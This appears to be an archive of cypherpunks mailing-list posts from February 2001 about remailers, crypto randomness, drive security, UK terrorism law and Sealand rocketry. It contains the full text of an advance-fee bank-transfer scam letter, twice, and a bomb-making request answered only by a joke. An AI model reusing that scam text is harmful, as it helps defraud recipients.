Actually these functions belong in the listserver (remailer) not the SMTP
agent.

1. filter on: 
	list of acceptable substrings such as headers, 'CDR:' tokens, etc.; and/or 
	entropy threshold and/or; 
	recognized digsigs from members of the list

2. decrypt

3. for each list member
	encrypt msg from previous step and send


    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From k.brown at ccs.bbk.ac.uk  Thu Feb 22 07:28:05 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Thu, 22 Feb 2001 15:28:05 +0000
Subject: We are all terrorists now. It is illegal to pay tax.
Message-ID: <3A953005.26806B8D@ccs.bbk.ac.uk>


The Prevention of Terrorism Act 2000 defines an action as terrorist if
it both fits one of these 5 criteria:

(a) involves serious violence against a person,
(b) involves serious damage to property,
(c) endangers a person's life, other than that of the person committing
the action,
(d) creates a serious risk to the health or safety of the public or a
section of the public, or
(e) is designed seriously to interfere with or seriously to disrupt an
electronic system.

and also "involves the use of firearms or explosives".

The recent bombing of Baghdad fits all 5 of the criteria and involved
explosives, therefore it is a terrorist act under these rules. As Ian
Jackson pointed out (below), the British government itself is not
subject to its own law in this way: but I am.  The act  also  makes it
illegal to supply money which is to be used for terrorism without the
express consent of a constable. I pay my taxes.   QED.

Ken Brown, International Terrorist.


=========================================

Forwarded from the UKcrypto mailing list:

Ian Jackson wrote:
> 
> Pete Chown writes ("Re: Terrorism Act 2000"):
> > Ken Brown wrote:
> > > The bombing of Baghdad is terrorism under these definitions.
> >
> > Acts of Parliament don't bind the Crown unless they specifically say
> > that they do.  So although you are right that the definition is
> > satisfied, the government would not have committed an offence.
> 
> Indeed.  However, does this not make it an offence to pay tax ?
> 
>    15. - (3) A person commits an offence if he-
>          (a) provides money or other property, and
>          (b) knows or has reasonable cause to suspect that it
>              will or may be used for the purposes of terrorism.
> 
> There doesn't seem to be an exception for people who give Crown agents
> money for (partly) terrorist purposes.
> 
> There is an exception to this:
> 
>    21. - (1) A person does not commit an offence under any of sections 15 to
>              18 if he is acting with the express consent of a constable.
>          (2) Subject to subsections (3) and (4), a person does not
>              commit an offence under any of sections 15 to 18 by
>              involvement in a transaction or arrangement relating to
>              money or other property if he discloses to a constable -
>           (a) his suspicion or belief that the money or other property is
>               terrorist property, and
>           (b) the information on which his suspicion or belief is based.
>          (3) Subsection (2) applies only where a person makes a disclosure-
>           (a) after he becomes concerned in the transaction concerned,
>           (b) on his own initiative, and
>           (c) as soon as is reasonably practicable.
> 
> Therefore how about the following tactic:
> 
> * If you are already a taxpayer through PAYE, then you probably fall
> under 21(3)(a) at the moment and should immediately write, recorded
> delivery, to your local Police station, and ask for a confirmation
> that they've received your letter.  Your letter should state that you
> believe the UK government may be committing terrorism abroad and your
> reasons, and that your source is the newspapers and general media.
> 
> * If you are *not* already a taxpayer then 21(3)(c) and (b) can't both
> apply.  You cannot lawfully start paying tax without express consent
> of a constable.  So you must write, recorded delivery, to Inland
> Revenue and your local Police, asking for permission from the Police
> to pay your taxes.  You have to make sure to let the Inland Revenue
> know why you're not paying, so that they know that you have an excuse.
> 
> Alternatively perhaps Inland Revenue could confirm that taxes will not
> be used for terrorist purposes, such as bombing Baghdad.
> 
> Interestingly, seeking money or property for terrorism is an offence
> too, so ad agencies involved with tax-raising campaigns should perhaps
> look out.
> 
> What have I missed ?
> 
> Ian.




From ravage at einstein.ssz.com  Thu Feb 22 14:14:18 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 16:14:18 -0600 (CST)
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <3A9589CD.159E31A8@sunder.net>
Message-ID: <Pine.LNX.3.96.1010222161214.5925r-100000@einstein.ssz.com>



Really?

So let me get this straight. You're so worried about taps and
interceptions that you are willing to potentially spend thousands of
dollars on the hardware to detect the sorts of events under question (ie
astronomical RNG's). So normal old terrestrial sources aren't good enogh
because they might be tampered with.

But you're ok with going out and buying a webcam from who knows where?

On Thu, 22 Feb 2001, Sunder wrote:

> Any mutually agreed upon source will do. i.e.  Pick a web cam.  Any web cam.
> Hell, one pointed at a bowl of swimming goldfish should at least give you
> enough randomness to start with.





From tom at ricardo.de  Thu Feb 22 07:43:36 2001
From: tom at ricardo.de (Tom)
Date: Thu, 22 Feb 2001 16:43:36 +0100
Subject: We are all terrorists now. It is illegal to pay tax.
References: <3A953005.26806B8D@ccs.bbk.ac.uk>
Message-ID: <3A9533A8.6041C2D0@ricardo.de>


Ken Brown wrote:
> The recent bombing of Baghdad fits all 5 of the criteria and involved
> explosives, therefore it is a terrorist act under these rules. As Ian
> Jackson pointed out (below), the British government itself is not
> subject to its own law in this way: but I am.  The act  also  makes it
> illegal to supply money which is to be used for terrorism without the
> express consent of a constable. I pay my taxes.   QED.
> 
> Ken Brown, International Terrorist.


watch out for the CIA/FBI's next press release:

"number of foreign terrorists rising dramatically. need more funds." :-)




From sunder at sunder.net  Thu Feb 22 13:51:09 2001
From: sunder at sunder.net (Sunder)
Date: Thu, 22 Feb 2001 16:51:09 -0500
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
References: <Pine.LNX.3.96.1010222130309.5925g-100000@einstein.ssz.com>
Message-ID: <3A9589CD.159E31A8@sunder.net>


Jim Choate wrote:
> 
> > I was not talking about artificial satellites.  I was talking about
> > chaotic processes observable with telescopes.
> 
> Whose telescope? Who built the hardware? Who built the software?

Any mutually agreed upon source will do. i.e.  Pick a web cam.  Any web cam.
Hell, one pointed at a bowl of swimming goldfish should at least give you
enough randomness to start with.

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From ravage at einstein.ssz.com  Thu Feb 22 14:59:01 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 16:59:01 -0600
Subject: Centre for Hypersonics - HyShot Scramjet Test Programme
Message-ID: <3A9599B5.7364894A@ssz.com>


http://www.mech.uq.edu.au/hyper/hyshot/
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Thu Feb 22 15:00:07 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 17:00:07 -0600
Subject: Slashdot | AES: Learn All About It
Message-ID: <3A9599F7.AFE41DE2@ssz.com>


http://slashdot.org/articles/01/02/22/218229.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From decoy at iki.fi  Thu Feb 22 07:12:57 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Thu, 22 Feb 2001 17:12:57 +0200 (EET)
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <BNEBJALEDJIGAAEGHIGJIEFKCBAA.pzakas@toucancapital.com>
Message-ID: <Pine.SOL.4.30.0102221711380.24722-100000@kruuna.Helsinki.FI>


On Wed, 21 Feb 2001, Phillip H. Zakas wrote:

[Snip on GPS randomization]
>as far as how random these bits are, i don't know if the entropy is very
>good, and i don't know if the # of bits is enough to encrypt a message.

Are you sure they are still adding jitter to GPS?

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From kravietz at ceti.pl  Thu Feb 22 08:22:42 2001
From: kravietz at ceti.pl (Pawel Krawczyk)
Date: Thu, 22 Feb 2001 17:22:42 +0100
Subject: ATA-3 drive security
Message-ID: <20010222172242.R491@aba.krakow.pl>

I've recently got interested the security feature of ATA-3 hard
disk interface standard (described e.g. in [1]). It's vendored under
different names, mostly in portable computers environment, for example
Compaq notebooks refer to DriveLock feature. It allows an user to lock
the drive at hardware level with user and master passwords (the latter
allows removing user password, in short).

I wondered how it works internally and what level of security it provides?

A quick guess is that it works only at the HDD controller level and
involves no actual data encryption. An implication would be that if
you have such drive, you can try to change the electronics, leaving the
plates untouched, and retain open access to the data stored on the disk.

Anyway, it would be another step of protection, requiring much more
technical knowledge and capabilities from the thief than just removing
the disk and putting it into some other laptop (like it can be done to
bypass computer's BIOS passwords etc.).

But maybe I'm wrong - could anyone clarify or at least point me to some
more detailed documentation?

[1] http://viking.delmar.edu/courses/Cis312J/EBOOK/wrh09.htm#E69E196


-- 
Paweł Krawczyk *** home: <http://ceti.pl/~kravietz/>
security: <http://ipsec.pl/>  *** fidonet: 2:486/23




From ravage at einstein.ssz.com  Thu Feb 22 15:24:17 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 17:24:17 -0600 (CST)
Subject: Sealand and Experimental Rocketry
In-Reply-To: <OMBFHPBIHGEPBAAA@shared1-mail.whowhere.com>
Message-ID: <Pine.LNX.3.96.1010222172347.5925u-100000@einstein.ssz.com>



On Thu, 22 Feb 2001, Jim Windle wrote:

> Thanks it been a long time since I even seemed sophisticated to anyone.  What is not irrelevant to the discussion is, ignoring any range safety problems, is physics.  Ignoring the influence of the moon, a satellite orbit is a 2 body problems which is completely specified when its initial conditions (6 scalars for things like velocity and position) are specified at a particular time.  When you grind through all the math you discover an interesting condition.  No launch site can directly insert a satellite into an orbit with an orbital inclination less than it latitude.  (This is why we put our main launch facility in Florida, why the ESA picked Guyana and the Russian moved to Tyrutam from Pletesck and still had to use such big rockets because its still a high latitude) An orbit with 50+ degrees of inclination is not going to visible over areas like North America or Western Europe regularly enough to be of much use for a crypto system.  To put it into a useful orbit an orbit!
al!
 transfer maneuver would be necessary, this requires an additional stage for the rocket.  I am aware of the type rocket you are talking about, and launched from an equatorial area they might work, but at 52 degrees of latitude they would have to be able to launch not only the satellite but an additional stage to perform the orbital transfer.  This would require not only a pretty capable rocket and a sophisticated control system as well for orbital transfer maneuvering. Even if an amateur system could do this it starts getting very expensive.  Hence my contntion that Sealand, even without issues of range safety, is not a very good launch site. 

One?

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From sparky at suba.com  Thu Feb 22 15:45:18 2001
From: sparky at suba.com (sparky)
Date: Thu, 22 Feb 2001 17:45:18 -0600
Subject: VERY URGENT
In-Reply-To: <20010222215455.51049.qmail@web12003.mail.yahoo.com>
Message-ID: <3A95502E.31707.1E1BE0B@localhost>


I'd like to help you, but I'm secretly black. Sorry.

On 22 Feb 2001, at 21:54, tonny ike wrote:

> CONTACT)
> 
> TELEFAX: 234-42-254548
> 
> ATTN: SIR,
> 
> I HAVE THE COURAGE TO ASK YOU TO LOOK FOR A RELIABLE
> AND HONEST PERSON WHO WILL BE CAPABLE FOR THIS
> IMPORTANT BUSINESS BELIEVING THAT YOU WILL NEVER LET
> ME DOWN EITHER NOW OR IN FUTURE.
> 
> IAM DESMOND AJAEGBU,THE EASTERN DISTRICT BANK
> MANAGER OF UNITED BANK FOR AFRICA PLC. (UBA). THERE IS
> AN ACCOUNT OPENED IN THIS BANK IN 1980 AND SINCE 1990
> NOBODY HAS OPERATED ON THIS ACCOUNT AGAIN. AFTER GOING
> THROUGH SOME OLD FILES IN THE RECORDS I DISCOVERED
> THAT IF I DO NOT REMITT THIS MONEY OUT URGENTLY IT
> WILL BE FORFEITED FOR NOTHING.
> 
> THE OWNER OF THIS ACCOUNT IS MR. SMITH B. ANDREAS, A
> FOREIGNER, AND THE MANAGER OF PETRO - TECHNICAL
> SUPPORT SERVICES, A CHEMICAL ENGINEER BY PROFESSION
> AND  HE DIED SINCE 1990. NO OTHER PERSON KNOWS ABOUT
> THIS ACCOUNT OR ANY THING CONCERNING IT, THE ACCOUNT
> HAS NO OTHER BENEFICIARY AND MY INVESTIGATION PROVED
> TO ME AS WELL THAT THIS COMPANY DOES NOT KNOW ANYTHING
> ABOUT THIS ACCOUNT AND THE AMOUNT INVOLVED IS (USD 26
> MILLION DOLLARS). I WANT TO TRANSFER THIS MONEY INTO A
> SAFE FOREIGNERS ACCOUNT ABROAD BUT I DON'T KNOW ANY
> FOREIGNER, I AM ONLY CONTACTING YOU AS A FOREIGNER
> BECAUSE THIS MONEY CAN NOT BE APPROVED TO A LOCAL BANK
> HERE, BUT CAN ONLY BE APPROVED TO ANY FOREIGN ACCOUNT
> BECAUSE THE MONEY IS IN US DOLLARS AND THE FORMER
> OWNER OF THE ACCOUNT IS MR. SMITH B. ANDREAS IS  A
> FOREIGNER TOO.  I KNOW THAT THIS MASSAGE WILL COME TO
> YOU AS A SURPRISE AS WE  DON'T KNOW OUR SELVES BEFORE,
> BUT BE SURE THAT IT IS REAL AND A GENUINE BUSINESS. I
> ONLY GOT YOUR CONTACT ADDRESS FROM THE COMPUTER ,WITH
> BELIEVE IN GOD THAT YOU WILL NEVER LET ME DOWN IN THIS
> BUSINESS YOU ARE THE ONLY PERSON THAT I HAVE CONTACTED
> IN THIS BUSINESS, SO PLEASE REPLY URGENTLY SO THAT I
> WILL INFORM YOU THE NEXT STEP TO TAKE URGENTLY.
> 
> I WANT US TO SEE FACE TO FACE OR SIGN A BINDING
> AGREEMENT TO BIND US TOGETHER SO THAT YOU CAN RECIEVE
> THIS MONEY INTO A FORIEGN ACCOUNT OR ANY ACCOUNT OF
> YOUR CHOICE WHERE THE FUND WILL BE REMMITTED.AND I
> WILL FLY TO YOUR COUNTRY FOR WITHDRAWAL AND SHARING
> AND OTHER INVESTMENTS.
> 
>  I AM CONTACTING YOU BECAUSE OF THE NEED TO INVOLVE A 
> FOREIGNER WITH FOREIGN ACCOUNT AND FOREIGN
> BENEFICIARY. I NEED YOUR CO-OPERATION TO MAKE THIS
> WORK FINE. BECAUSE THE MANAGEMENT IS READY TO APPROVE
> THIS PAYMENT TO ANY FOREIGNER WHO HAS CORRECT
> INFORMATION OF THIS ACCOUNT, WHICH I WILL GIVE TO YOU
> LATER IMMEDIATELY, IF YOU ARE ABLE AND WITH CAPABILITY
> TO HANDLE SUCH AMOUNT IN STRICT CONFIDENCE AND TRUST
> ACCORDING TO MY INSTRUCTIONS AND ADVICE FOR OUR MUTUAL
> BENEFIT BECAUSE THIS OPPORTUNITY WILL NEVER COME AGAIN
> IN MY LIFE. A NEED TRUTHFUL PERSON IN THIS BUSINESS
> BECAUSE I DON'T WANT TO MAKE MISTAKE I NEED YOUR
> STRONG ASSURANCE AND TRUST.
> 
> WITH MY POSITION NOW IN THE OFFICE I CAN TRANSFER THIS
> MONEY TO ANY FOREIGNERS RELIABLE ACCOUNT WHICH YOU CAN
> PROVIDE WITH ASSURANCE THAT THIS MONEY WILL BE INTACT
> PENDING MY PHYSICAL ARRIVAL IN YOUR COUNTRY FOR
> SHARING. I WILL DESTROY ALL DOCUMENTS OF TRANSACTION
> IMMEDIATELY WE RECIEVE THIS MONEY LEAVING NO TRACE TO
> ANY PLACE. YOU CAN ALSO COME TO DISCUSS WITH ME FACE
> TO FACE AFTER WHICH I WILL MAKE THIS REMITTANCE IN
> YOUR PRESENCE AND TWO OF US WILL FLY TO YOUR COUNTRY
> AT LEAST TWO DAYS AHEAD OF THE MONEY GOING INTO YOUR
> ACCOUNT.
> 
> I WILL APPLY FOR ANNUAL LEAVE TO GET VISA IMMEDIATELY
> I HEAR FROM YOU THAT YOU ARE READY TO ACT AND RECEIVE
> THIS FUND IN YOUR ACCOUNT. I WILL USE MY POSITION AND
> INFLUENCE TO EFFECT LEGAL APPROVALS AND ONWARD
> TRANSFER OF THIS MONEY TO YOUR ACCOUNT WITH
> APPROPRIATE CLEARANCE FORMS OF THE MINISTRIES AND
> FOREIGN EXCHANGE DEPARTMENTS.
> 
> AT THE CONCLUSION OF THIS BUSINESS, YOU WILL BE GIVEN
> 35% OF THE TOTAL AMOUNT, 60% WILL BE FOR ME, WHILE 5%
> WILL BE FOR EXPENSES BOTH PARTIES MIGHT HAVE INCURED
> DURING THE PROCESS OF TRANSFERING.
> 
> I LOOK FORWARD TO YOUR EARLIEST REPLY BY FAX ONLY.
> TELEFAX LINE: 234-42-254548.
> 
> YOURS TRULY,
> DESMOND,AJAEGBU
> 
> 
> 
> 
> ____________________________________________________________
> Do You Yahoo!?
> Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
> or your free @yahoo.ie address at http://mail.yahoo.ie
> 





From jim_windle at eudoramail.com  Thu Feb 22 14:56:34 2001
From: jim_windle at eudoramail.com (Jim Windle)
Date: Thu, 22 Feb 2001 17:56:34 -0500
Subject: Sealand and Experimental Rocketry
Message-ID: <OMBFHPBIHGEPBAAA@shared1-mail.whowhere.com>


 
--

On Wed, 21 Feb 2001 17:43:34   Jim Choate wrote:
>
>Which is irrelevant because nobody but you, Tim,  Declan, and the rest of
>the Peyote Pete Club was talking about anything like this.
>
>For people that seem to be so sophisticated, it's surprising you don't
>understand concepts like 'amateur rocket' or 'can-sat'.
>
Thanks it been a long time since I even seemed sophisticated to anyone.  What is not irrelevant to the discussion is, ignoring any range safety problems, is physics.  Ignoring the influence of the moon, a satellite orbit is a 2 body problems which is completely specified when its initial conditions (6 scalars for things like velocity and position) are specified at a particular time.  When you grind through all the math you discover an interesting condition.  No launch site can directly insert a satellite into an orbit with an orbital inclination less than it latitude.  (This is why we put our main launch facility in Florida, why the ESA picked Guyana and the Russian moved to Tyrutam from Pletesck and still had to use such big rockets because its still a high latitude) An orbit with 50+ degrees of inclination is not going to visible over areas like North America or Western Europe regularly enough to be of much use for a crypto system.  To put it into a useful orbit an orbital!
 t!
ransfer maneuver would be necessary, this requires an additional stage for the rocket.  I am aware of the type rocket you are talking about, and launched from an equatorial area they might work, but at 52 degrees of latitude they would have to be able to launch not only the satellite but an additional stage to perform the orbital transfer.  This would require not only a pretty capable rocket and a sophisticated control system as well for orbital transfer maneuvering. Even if an amateur system could do this it starts getting very expensive.  Hence my contntion that Sealand, even without issues of range safety, is not a very good launch site. 

Jim Windle    ____________________________________________________________________
>
>           Before a larger group can see the virtue of an idea, a
>           smaller group must first understand it.
>
>                                           "Stranger Suns"
>                                           George Zebrowski
>
>       The Armadillo Group       ,::////;::-.          James Choate
>       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>       www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                           -====~~mm-'`-```-mm --'-
>    --------------------------------------------------------------------
>
>
>


Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com




From sunder at sunder.net  Thu Feb 22 15:29:47 2001
From: sunder at sunder.net (Sunder)
Date: Thu, 22 Feb 2001 18:29:47 -0500
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
References: <Pine.LNX.3.96.1010222161214.5925r-100000@einstein.ssz.com>
Message-ID: <3A95A0EB.4244BFD@sunder.net>


Jim Choate wrote:
> 
> Really?
> 
> So let me get this straight. You're so worried about taps and
> interceptions that you are willing to potentially spend thousands of
> dollars on the hardware to detect the sorts of events under question (ie
> astronomical RNG's). 

Actually I am not.

> So normal old terrestrial sources aren't good enogh because they might 
> be tampered with.

If that is your threat model.  Again, go back and read this guy's paper.
The random source is available to anyone in his scheme.

> But you're ok with going out and buying a webcam from who knows where?

If that's my threat model, yes.  If it's not, I may be willing to build my
own set of web cams, etc.

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From EZRAMATTHEW at aol.com  Thu Feb 22 16:27:25 2001
From: EZRAMATTHEW at aol.com (EZRAMATTHEW at aol.com)
Date: Thu, 22 Feb 2001 19:27:25 EST
Subject: need info on how to make bombs and explosive
Message-ID: <b1.779d75c.27c7086d@aol.com>

please send info about topics in subject

                                                       sincerley,
                                                             mike
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From allyn at well.com  Thu Feb 22 19:30:55 2001
From: allyn at well.com (Mark Allyn)
Date: Thu, 22 Feb 2001 19:30:55 -0800 (PST)
Subject: need info on how to make bombs and explosive
In-Reply-To: <b1.779d75c.27c7086d@aol.com>
Message-ID: <Pine.GSO.4.21.0102221927080.24961-100000@well.com>




On Thu, 22 Feb 2001 EZRAMATTHEW at aol.com wrote:

> please send info about topics in subject
1. Get large jelly jar with lid that can be closed tightly
2. Fill the jelly jar with water to the tippy top.
3. Close the lid to the jelly jar very, very tight.
4. Wait until mommy and daddy are in a really bad mood.
5. Put the jelly jar in the freezer compartment of the 
   refrigerator at about 6 am, just before breakfast
6. Listen for jelly jar to 'pop' with the expanding water
   and ice.
7. Giggle.
8. Watch and feel mommy and daddy explode over you when they
   discover the mess inside the freezer.

Love and Peace

Mrs Clear Plastic




From sos_glok_ at doctor.com  Thu Feb 22 09:08:45 2001
From: sos_glok_ at doctor.com (SOS)
Date: Thu, 22 Feb 2001 20:08:45 +0300
Subject: =?windows-1251?Q?=C2=ED=E5=F8=ED=EE=F1=F2=FC_=E8_=E7=E4=EE=F0=EE=E2=FC=E5?=
Message-ID: <200102221731.JAA06649@toad.com>



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From gil_hamilton at hotmail.com  Thu Feb 22 20:27:44 2001
From: gil_hamilton at hotmail.com (Gil Hamilton)
Date: Thu, 22 Feb 2001 20:27:44 
Subject: Secure Erasing is actually harder than that...
Message-ID: <F313kpeFfk65nxvk8No0000e832@hotmail.com>


Ray Dillinger writes:
>On Thu, 22 Feb 2001, Sampo Syreeni wrote:

> >Why not simply use encrypted hard drives? Make the driver forget key
> >material in a fixed period of keyboard inactivity? This would be a 
>helluva
> >lot easier than making secure versions of every existing application out
> >there...

>Don't get me wrong -- I believe in encrypted drives.  They provide a "mix" 
>so you can't tell which bit was written by what application, and that's a 
>valuable service.  But there are limits to what they can do or should be 
>relied on to do.  Applications that write to (and more importantly, which 
>read from) the encrypted drive should themselves be crypto-aware and do 
>proper key management.

This is a case of letting the perfect be an enemy of the good: it
ain't ever gonna happen.  People that write MUAs or word processors
or spread sheet programs or web browsers are good at and want to
write those programs. They aren't going to have the time or interest
in becoming expert enough in crypto to use it wisely.  So, with a few
exceptions, crypto is (and probably ought to be) done by wrapping the
application, or putting a new front-end (or back-end on it) or
encrypting the drive at the OS level.

Crypto and key management is hard (particularly if you do it well);
it just isn't realistic to expect that it will *ever* be designed in
as a matter of course.


- GH

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com




From tonny_1000 at yahoo.co.uk  Thu Feb 22 13:54:55 2001
From: tonny_1000 at yahoo.co.uk (=?iso-8859-1?q?tonny=20ike?=)
Date: Thu, 22 Feb 2001 21:54:55 +0000 (GMT)
Subject: VERY URGENT
Message-ID: <20010222215455.51049.qmail@web12003.mail.yahoo.com>


CONTACT)

TELEFAX: 234-42-254548

ATTN: SIR,

I HAVE THE COURAGE TO ASK YOU TO LOOK FOR A RELIABLE
AND HONEST PERSON WHO WILL BE CAPABLE FOR THIS
IMPORTANT BUSINESS BELIEVING THAT YOU WILL NEVER LET
ME DOWN EITHER NOW OR IN FUTURE.

IAM DESMOND AJAEGBU,THE EASTERN DISTRICT BANK
MANAGER OF UNITED BANK FOR AFRICA PLC. (UBA). THERE IS
AN ACCOUNT OPENED IN THIS BANK IN 1980 AND SINCE 1990
NOBODY HAS OPERATED ON THIS ACCOUNT AGAIN. AFTER GOING
THROUGH SOME OLD FILES IN THE RECORDS I DISCOVERED
THAT IF I DO NOT REMITT THIS MONEY OUT URGENTLY IT
WILL BE FORFEITED FOR NOTHING.

THE OWNER OF THIS ACCOUNT IS MR. SMITH B. ANDREAS, A
FOREIGNER, AND THE MANAGER OF PETRO - TECHNICAL
SUPPORT SERVICES, A CHEMICAL ENGINEER BY PROFESSION
AND  HE DIED SINCE 1990. NO OTHER PERSON KNOWS ABOUT
THIS ACCOUNT OR ANY THING CONCERNING IT, THE ACCOUNT
HAS NO OTHER BENEFICIARY AND MY INVESTIGATION PROVED
TO ME AS WELL THAT THIS COMPANY DOES NOT KNOW ANYTHING
ABOUT THIS ACCOUNT AND THE AMOUNT INVOLVED IS (USD 26
MILLION DOLLARS). I WANT TO TRANSFER THIS MONEY INTO A
SAFE FOREIGNERS ACCOUNT ABROAD BUT I DON'T KNOW ANY
FOREIGNER, I AM ONLY CONTACTING YOU AS A FOREIGNER
BECAUSE THIS MONEY CAN NOT BE APPROVED TO A LOCAL BANK
HERE, BUT CAN ONLY BE APPROVED TO ANY FOREIGN ACCOUNT
BECAUSE THE MONEY IS IN US DOLLARS AND THE FORMER
OWNER OF THE ACCOUNT IS MR. SMITH B. ANDREAS IS  A
FOREIGNER TOO.  I KNOW THAT THIS MASSAGE WILL COME TO
YOU AS A SURPRISE AS WE  DON'T KNOW OUR SELVES BEFORE,
BUT BE SURE THAT IT IS REAL AND A GENUINE BUSINESS. I
ONLY GOT YOUR CONTACT ADDRESS FROM THE COMPUTER ,WITH
BELIEVE IN GOD THAT YOU WILL NEVER LET ME DOWN IN THIS
BUSINESS YOU ARE THE ONLY PERSON THAT I HAVE CONTACTED
IN THIS BUSINESS, SO PLEASE REPLY URGENTLY SO THAT I
WILL INFORM YOU THE NEXT STEP TO TAKE URGENTLY.

I WANT US TO SEE FACE TO FACE OR SIGN A BINDING
AGREEMENT TO BIND US TOGETHER SO THAT YOU CAN RECIEVE
THIS MONEY INTO A FORIEGN ACCOUNT OR ANY ACCOUNT OF
YOUR CHOICE WHERE THE FUND WILL BE REMMITTED.AND I
WILL FLY TO YOUR COUNTRY FOR WITHDRAWAL AND SHARING
AND OTHER INVESTMENTS.

 I AM CONTACTING YOU BECAUSE OF THE NEED TO INVOLVE A 
FOREIGNER WITH FOREIGN ACCOUNT AND FOREIGN
BENEFICIARY. I NEED YOUR CO-OPERATION TO MAKE THIS
WORK FINE. BECAUSE THE MANAGEMENT IS READY TO APPROVE
THIS PAYMENT TO ANY FOREIGNER WHO HAS CORRECT
INFORMATION OF THIS ACCOUNT, WHICH I WILL GIVE TO YOU
LATER IMMEDIATELY, IF YOU ARE ABLE AND WITH CAPABILITY
TO HANDLE SUCH AMOUNT IN STRICT CONFIDENCE AND TRUST
ACCORDING TO MY INSTRUCTIONS AND ADVICE FOR OUR MUTUAL
BENEFIT BECAUSE THIS OPPORTUNITY WILL NEVER COME AGAIN
IN MY LIFE. A NEED TRUTHFUL PERSON IN THIS BUSINESS
BECAUSE I DON'T WANT TO MAKE MISTAKE I NEED YOUR
STRONG ASSURANCE AND TRUST.

WITH MY POSITION NOW IN THE OFFICE I CAN TRANSFER THIS
MONEY TO ANY FOREIGNERS RELIABLE ACCOUNT WHICH YOU CAN
PROVIDE WITH ASSURANCE THAT THIS MONEY WILL BE INTACT
PENDING MY PHYSICAL ARRIVAL IN YOUR COUNTRY FOR
SHARING. I WILL DESTROY ALL DOCUMENTS OF TRANSACTION
IMMEDIATELY WE RECIEVE THIS MONEY LEAVING NO TRACE TO
ANY PLACE. YOU CAN ALSO COME TO DISCUSS WITH ME FACE
TO FACE AFTER WHICH I WILL MAKE THIS REMITTANCE IN
YOUR PRESENCE AND TWO OF US WILL FLY TO YOUR COUNTRY
AT LEAST TWO DAYS AHEAD OF THE MONEY GOING INTO YOUR
ACCOUNT.

I WILL APPLY FOR ANNUAL LEAVE TO GET VISA IMMEDIATELY
I HEAR FROM YOU THAT YOU ARE READY TO ACT AND RECEIVE
THIS FUND IN YOUR ACCOUNT. I WILL USE MY POSITION AND
INFLUENCE TO EFFECT LEGAL APPROVALS AND ONWARD
TRANSFER OF THIS MONEY TO YOUR ACCOUNT WITH
APPROPRIATE CLEARANCE FORMS OF THE MINISTRIES AND
FOREIGN EXCHANGE DEPARTMENTS.

AT THE CONCLUSION OF THIS BUSINESS, YOU WILL BE GIVEN
35% OF THE TOTAL AMOUNT, 60% WILL BE FOR ME, WHILE 5%
WILL BE FOR EXPENSES BOTH PARTIES MIGHT HAVE INCURED
DURING THE PROCESS OF TRANSFERING.

I LOOK FORWARD TO YOUR EARLIEST REPLY BY FAX ONLY.
TELEFAX LINE: 234-42-254548.

YOURS TRULY,
DESMOND,AJAEGBU




____________________________________________________________
Do You Yahoo!?
Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie




From wealthmaster at beer.com  Thu Feb 22 22:51:45 2001
From: wealthmaster at beer.com (wealthmaster)
Date: Thu, 22 Feb 2001 22:51:45
Subject: Going Fast! Free Software
Message-ID: <200102230454.UAA12762@cyberpass.net>


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Sincerely,
Kenneth 



